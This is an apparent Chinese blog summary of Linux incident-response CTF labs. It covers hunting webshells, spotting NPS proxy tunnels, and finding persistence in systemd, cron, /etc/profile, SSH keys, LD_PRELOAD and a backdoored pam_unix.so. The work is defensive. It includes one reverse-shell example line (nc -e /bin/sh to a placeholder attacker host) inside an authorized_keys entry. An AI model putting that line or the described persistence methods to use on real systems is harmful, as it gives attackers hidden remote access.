当前位置: 首页 > news >正文

近期应急响应靶场总结

近期应急响应靶场总结

1、黑客webshell里面的flag

一般来说webshell里面的木马有php相关的eval执行代码我们可以以这个为契机,直接进行搜索,不同语言的执行函数不大一样

find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" //对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode" xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。grep "eval(":grep命令用于搜索文本,并输出匹配的行。这里"eval("是grep命令的搜索模式,用于查找包含eval(字符串的行。

2、使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值

Exec 字段一般指 “程序实际执行的可执行路径(Executable Path)”,即系统加载时记录的程序文件位置。

情况一:进程类型题(运行文件后查看 /proc)

执行:

./x.xx &

让它在后台运行。
然后查看当前系统的进程信息,找出该程序对应的 “Exec” 信息:

ps -ef | grep x.xx

假设看到进程号是 1234,那你就去:

ls -l /proc/1234/exe

输出示例:

lrwxrwxrwx 1 root root 0 10月 17 15:33 /proc/1234/exe -> /home/zss/tmp/x.xx

🔹 那么 Exec 实际对应的就是:

/home/zss/tmp/x.xx

因此 flag 就是:

flag{/home/zss/tmp/x.xx}

3、黑客在被控服务器上创建了内网代理隐蔽通信隧道

image-20251019000159555

  • 配置文件里有明显的内网穿透/反向代理客户端字段:[common]server_addr=IP:PORTconn_type=tcpvkey=auto_reconnectionmax_connflow_limitrate_limitcrypt=truecompress=true
  • 这种字段组合不是普通服务配置,而是常见的内网穿透/反向代理客户端(agent)配置,目的就是把被控主机的内网流量经由远端服务器转发(建立隐蔽代理隧道)。
  • 在开源工具中,这一套配置格式与 NPS(nps/npc) 生态高度吻合(客户端通常叫 npc,服务端叫 nps)。很多博客/issue/样例都能看到完全相同的键名(vkeyconn_typeflow_limit 等)。因此可以判定攻击者使用了内网穿透工具在被控主机上开了代理隧道。

什么是 SOCKS5,什么是内网穿透(隧道)

  • SOCKS5:一种通用代理协议(支持 TCP/UDP、可带认证),客户端把流量发给 SOCKS5 代理,代理代为访问目标主机。常见本地端口是 1080,程序如 ssh -Ddantedmicrosocks3proxy 等可以提供 SOCKS5。
  • 内网穿透 / 反向隧道:把内网主机的 TCP/端口通过一个长期的反向连接转发到公网服务器或直接建立隧道(比如 frp、nps、ngrok、gost 等)。用途是把被控主机的服务(或任意流量)暴露给攻击者或中继服务器。

两者如何结合(常见攻击模式)

  • 攻击者在被控机上启动一个 SOCKS5 代理,监听本地某端口(例如 127.0.0.1:1080 或 0.0.0.0:1080),然后使用 内网穿透客户端(例如 npcfrpcgost)将该端口映射到远端控制服务器。结果攻击者从公网通过远端映射的端口访问被控主机内网资源(像在本地使用 SOCKS5 一样)。
  • 或者,攻击者在被控机上起了隧道客户端,仅把一个 TCP 隧道连到远端。攻击者在远端服务器上再运行 SOCKS5 服务,把隧道里的流量作为 SOCKS 后端。两种实现等价:隧道 + SOCKS5 可以在任一端提供代理接口。
  • 配置文件里出现 # username and password of http and socks5 proxy 这说明该程序或生态支持把 HTTP/SOCKS5 代理凭证写入配置(暗示可能会转发/生成 SOCKS5)。

4、攻击者留下了持续化监控和后门脚本,找到绝对路径

到持续化后门脚本 可能跟开启自启动有关联 先去/etc/systemd/system//lib/systemd/system/这两个目录

一、最高优先级(攻击者最常动手的地方)

/etc(系统配置,总览)

  • 目的:控制系统认证、服务、开机行为、权限与环境。
  • 可能的修改(高层):替换/新增配置条目以改变认证、持久化后门、放宽权限、在启动时执行恶意程序。
  • 可观测迹象:配置文件修改时间异常、出现未知 unit/配置项、登录异常、异常服务启动

目的:配置 systemd unit(服务、timer、socket 等),控制服务的启动、停止、重启及开机自启;攻击者利用该路径实现系统级持久化、自动重启后门或以服务方式隐蔽运行恶意程序。

或者通过计划任务劫持来进行持续化监控和后门脚本

/var/spool/cron//etc/cron.*

查看命令 crontab -l

5、攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。

这里提示,导致任意用户登录就会触发后门的连接要考虑是不是修改了/etc下面的配置文件

/etc/profile:系统范围的 登录 shell 配置文件,适用于所有用户(bash 作为 login shell 或由 su -/ssh 登录时会被读取)。常放环境变量、全局 PATH、umask、profile.d 脚本调用等。

/etc/bash.bashrc:系统范围的 interactive non-login bash shell 配置(Debian/Ubuntu 常见)。当用户打开交互式非登录 shell(例如打开终端 emulator)时会读取。并非所有发行版都用这个文件(RedHat 系列通常用 /etc/bashrc)。

什么时候会被读取(简洁顺序)

  1. 登录 shell(login)(例如 ssh user@hostsu - user、console 登录):
    • bash 先读取 /etc/profile(如果存在)。
    • 然后读取用户的 ~/.profile~/.bash_profile~/.bash_login(按存在顺序)。
    • /etc/profile 通常会 for f in /etc/profile.d/*.sh; do . "$f"; done,因此 /etc/profile.d/ 下的脚本也会生效。
  2. 交互式非登录 shell(例如在图形桌面打开终端,或执行 bash):
    • bash 会读取 /etc/bash.bashrc(若存在),然后读取用户的 ~/.bashrc
  3. 非交互 shell(脚本执行 bash script.sh):
    • 默认不读取交互/登录文件,除非脚本显式 source.)某文件,或 bash 被以 --login/-i 启动。

普通用户

1、”~/.bashrc“:用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
2、”/.bash_profile“或”/.profile“:这些文件在用户登录时执行。
3、”~/.zshrc“:用于Zsh Shell,与”~/.bashrc“类似。
4、”/etc/profile“:为所有用户提供的系统级别的配置文件,
5、”/etc/bash.bashrc“:为所有用户提供的系统级别的配置文件,Bash Shell 专用。

root用户

只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录

1、“/root/.bashrc”:在root用户登录Bash Shell时执行;
2、“/root/.bash_profile”:在root用户登录时执行。
3、“/root/.profile”:在root用户登录时执行。
4、“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
5、“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;

6、通过本地 PC SSH到服务器并且溯源分析黑客的用户名

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。当redis以root身份运行,可以给root账户写入ssh公钥权限,直接通过ssh登录服务器,在攻击机中申生成ssh公钥和私钥,密码设为空

添加自己的公钥以获得免密登录(最常见)

  • 在受害者的 ~/.ssh/authorized_keys 中追加一行攻方公钥,黑客就能凭私钥随时免密登录该账户(包括 root,如果放在 /root/.ssh/authorized_keys)。

通过 key 做持久化后门

  • 即使用户改密码或禁用密码登录,公钥仍有效。攻击者常把密钥留在系统长期可用。

绑定命令(command="...") 强制执行固定命令

  • 公钥行可以以 command="...",options ssh-rsa AAAA... 的形式写入,登录时无论黑客如何用私钥连接,都会被强制执行该命令(比如启动反弹 shell、开启隧道、恢复后门等),不会给普通 shell。
  • 例如:command="/usr/bin/nc -e /bin/sh attackerip 4444",no-pty ssh-rsa AAAA...

7、通过本地 PC SSH到服务器并且分析黑客篡改的命令

/usr/bin 是 Linux 系统中放置大多数用户命令(可执行程序)的目录之一;这些程序通常在普通用户的 PATH 中,直接运行命令时会优先在这些目录查找。

攻击者常利用被替换或新增的二进制文件来持久化后门、拦截/记录凭证、反弹 shell 或隐藏恶意行为。把恶意程序放在 /usr/bin 能让它像系统命令一样被执行(例如替换 ssh, bash, ls, sudo 等)。

许多自动化脚本或服务也会直接调用 /usr/bin/xxx,因此放后门在这里更容易被触发。

即便攻击者放在 /tmp/dev/shm 等目录,常会再在 /usr/bin 做软链接或替换常用命令以便长期存在与方便调用。

8、黑客3s做了一个root用户执行cat命令就删除文件的操作

因为cat命令通常位于/usr/bin目录。攻击者需要确保root用户执行的cat是系统自带的那个,而不是一个恶意的替代品。因为如果攻击者替换了/usr/bin/cat,那么任何用户执行cat都会受到影响,但这通常需要root权限才能替换系统文件。而使用LD_PRELOAD则不需要替换cat本身,只需要控制环境变量

  1. root用户:/usr/bin

    • 这个目录是系统级别的,通常包含由系统包管理器(如apt、yum等)安装的应用程序和工具。
    • 例如,像lsgreppython(如果通过包管理器安装)等常用的命令和程序就放在这里。
    • 这个目录下的文件通常是由系统维护的,不建议用户直接在这里添加或删除文件,以免影响系统的稳定性。

    普通用户/usr/local/bin

    • 这个目录是用于本地安装的软件,即由用户自己编译安装或通过其他方式安装的软件,而不是通过系统包管理器安装的。
    • 这样做的目的是将用户自己安装的软件与系统自带的软件分开,便于管理,避免在系统升级时被覆盖或冲突。
    • 例如,如果你从源代码编译安装一个程序,通常默认会安装到/usr/local目录下,可执行文件就会放在/usr/local/bin

总结来说,/usr/bin是系统预装的可执行程序,而/usr/local/bin是用户自己安装的可执行程序。在环境变量PATH中,通常/usr/local/bin的优先级比/usr/bin高,这样当两个目录下有同名程序时,会优先执行/usr/local/bin下的程序。

这种题目一般会和 LD_PRELOAD 劫持配合着来考

什么是 LD_PRELOAD?

LD_PRELOAD 是一个环境变量,用于强制优先加载指定的共享库

用户执行 cat → 系统加载 /usr/bin/cat → LD_PRELOAD 强制先加载恶意库 → 恶意代码执行 → 然后才执行正常的cat功能
# 正常执行流程:
cat file.txt
# 1. 系统找到 /usr/bin/cat
# 2. 动态链接器加载cat需要的库(如libc.so)
# 3. 执行cat功能# 被劫持后的流程:
LD_PRELOAD=./malicious.so cat file.txt
# 1. 系统找到 /usr/bin/cat  
# 2. 动态链接器先加载 malicious.so(因为LD_PRELOAD)
# 3. malicious.so 中的恶意代码执行
# 4. 然后才加载正常库,执行cat功能

~/.bash_history 是 Bash 保存历史命令的文件。黑客会读取/窃取/修改/删除/伪装这个文件来:

  • 找到明文密码、密钥路径、运维命令、隧道/后门启动命令(情报收割);
  • 删除或篡改命令历史以抹去痕迹(反取证);
  • 插入误导性命令或伪造操作记录(诱导调查者做错判断);
  • 用软链、权限、chattr、环境变量等技术让历史不记录或不可见(持久化与隐蔽)

普通用户

~、.bash_history

root用户

/root/.bash_history

10、设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆,也不影响原来密码使用

我们可以排查一下 /usr/lib/x86_64-linux-gnu/security/pam_unix.so

为什么要重点排查 /usr/lib/.../security/pam_unix.so

  • pam_unix.so 是 Linux 上最常见的 PAM(Pluggable Authentication Module)模块,负责处理本地账号的验证(如 loginsshdsusudo 等用到的本地密码校验)。
  • 攻击者要“记录每次登录的密码”,一个经典手法就是替换或篡改 PAM 模块(把官方的 pam_unix.so 换成带后门的版本),这样所有走 PAM 的本地认证都会被截获密码。
  • 因此一旦怀疑有“记录密码”的后门,/usr/lib/.../security/pam_unix.so 是首要排查对象:检查文件是否被替换、被注入恶意代码或是否被 LD_PRELAD/其他 hook 技术拦截。

/usr/lib//usr/bin/ 是紧密相关的兄弟目录,它们共同构成了 Linux 软件安装的核心结构。

核心关系:程序 vs 库

简单比喻:

  • /usr/bin/ - 存放可执行程序(命令)
  • /usr/lib/ - 存放这些程序需要的库文件

就像:

  • /usr/bin/ = 应用程序图标(点击就能运行)
  • /usr/lib/ = 应用程序的依赖组件(运行需要的支持文件)

具体关系详解

  1. 程序执行依赖关系

text

用户输入命令 → 系统找到 /usr/bin/程序 → 程序加载 /usr/lib/ 中的库 → 程序正常运行↓              ↓                      ↓"firefox"    /usr/bin/firefox      /usr/lib/firefox//usr/lib/x86_64-linux-gnu/libgtk-3.so.0
  1. 实际例子

bash

# 查看 firefox 依赖哪些库
ldd /usr/bin/firefox
# 输出示例:
#   libgtk-3.so.0 => /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
#   libc.so.6 => /usr/lib/x86_64-linux-gnu/libc.so.6

在做应急响应的ctf题目的时候怎么判断黑客是修改了/usr/bin还是/usr/lib?

1. 行为分析 - 观察攻击表现

如果是修改 /usr/bin

bash

# 特征:特定命令行为异常
cat /etc/passwd    # 输出异常或执行额外操作
ls -la             # 显示异常信息
ps aux             # 隐藏某些进程

如果是修改 /usr/lib

bash

# 特征:多个命令出现相同异常
cat /etc/passwd    # 都出现相同的恶意行为
vim file.txt       # 比如都删除某个文件
python script.py   # 或者都连接某个IP
  1. 具体判断方法

情况A:黑客修改了 /usr/bin/cat

bash

# 特征:
# - 只有 cat 命令行为异常
# - 其他命令正常
# - 文件修改时间异常
# - 文件大小可能变化# 验证:
/usr/bin/cat /etc/passwd      # 异常
/bin/cat /etc/passwd          # 正常(如果存在)
cp /bin/cat /tmp/cat_clean
/tmp/cat_clean /etc/passwd    # 正常

情况B:黑客修改了 /usr/lib/ 中的库

bash

# 特征:
# - 多个命令出现相同异常
# - 库文件修改时间异常
# - 存在可疑的 .so 文件
# - LD_PRELOAD 可能被设置# 验证:
cat /etc/passwd    # 异常
ls -la             # 异常
vim test.txt       # 异常# 清除环境变量测试
env -i cat /etc/passwd    # 可能正常
unset LD_PRELOAD && cat /etc/passwd  # 可能正常

CTF题目中的典型线索

/usr/bin 被修改的线索:

  • 题目提示"某个系统命令行为异常"
  • 只有特定命令出现问题
  • 文件大小或哈希值变化

/usr/lib` 被修改的线索:

  • 题目提示"多个系统工具出现相同问题"
  • 存在陌生的 .so 文件
  • 环境变量相关的提示

总结判断方法:

特征 /usr/bin 被修改 /usr/lib 被修改
影响范围 单个命令 多个命令
环境依赖 不受LD_PRELOAD影响 受LD_PRELOAD影响
修复方法 替换单个二进制文件 修复库文件或清除环境变量
检测重点 文件完整性、大小、时间戳 库文件、环境变量、依赖关系
  • 如果正常 → LD_PRELOAD/usr/lib 问题
  • 如果异常 → /usr/bin/cat 被修改
http://www.hskmm.com/?act=detail&tid=34302

相关文章:

  • Atcoder Beginner Contest 428 补题记录 - Inversentropir
  • 豆一
  • 【URP】Unity中Mipmap是如何实现的?
  • 2025滑触线优质厂家推荐宸澳电气,安全防爆性能卓越!
  • CF *3000 数据结构题
  • day 5
  • 2025年钢材厂家推荐排行榜,方钢/扁钢/圆钢/光轴/六角钢/异型钢/冷拉冷拔钢材/热轧钢材,Q355B/Q345B/16Mn/45#/40Cr/A3/Q235B钢公司精选
  • 2025定型机厂家推荐:鑫源恒进节能高效,智能排风引领行业新趋势!
  • LLM分词器
  • CF1859F Teleportation in Byteland
  • 密钥自己生成的方法
  • 2025机床维修厂家推荐:永华鑫数控设备,专业服务保障生产!
  • ubuntu 24.04虚拟机安装vgpu显卡驱动
  • 2025棋牌室加盟推荐麻友社,自主自助模式引领行业新风尚!
  • 计算机硬件-网络
  • 2025TYPE-C母座优质厂家推荐,创粤科技TID认证高速传输首选!
  • 2025年医药冷链运输厂家推荐排行榜,药品/临床样本/CAR-T/蛋白/诊断试剂/生物/血液/细胞/芯片运输,冷藏车/冷藏箱/保温箱/干冰/液氮/温控/国际冷链公司推荐!
  • Ubuntu 桌面美化
  • 题解:CF1336E2 Chiori and Doll Picking (hard version)
  • Apollo自动驾驶平台:开源、高性能的自动驾驶解决方案
  • 三八皇后、8线程、MMX
  • MantisBT vs Kanass,开源项目管理工具一文全面对比分析 - 详解
  • 2025工作服厂家推荐:深圳市贵格服饰,专业定制各类高品质工作服!
  • 2025年陶瓷过滤机厂家推荐排行榜,陶瓷真空过滤机/盘式陶瓷过滤机/矿用陶瓷过滤机/全自动陶瓷过滤机/固液分离设备公司精选
  • 2019年机器学习研究奖项获奖名单公布
  • 2025不锈钢清洗钝化液推荐:隆彦商贸环保高效,品质卓越!
  • 2025年棋牌室加盟推荐排行榜,自主棋牌室加盟,自助棋牌室加盟,优选品牌与服务指南
  • 2025年轻钢龙骨厂家,铝方通厂家,铝单板厂家,石膏板厂家推荐排行榜:专业品质与服务口碑之选!
  • 013的加密世界权威指南_第一部分
  • 卸载安装JDK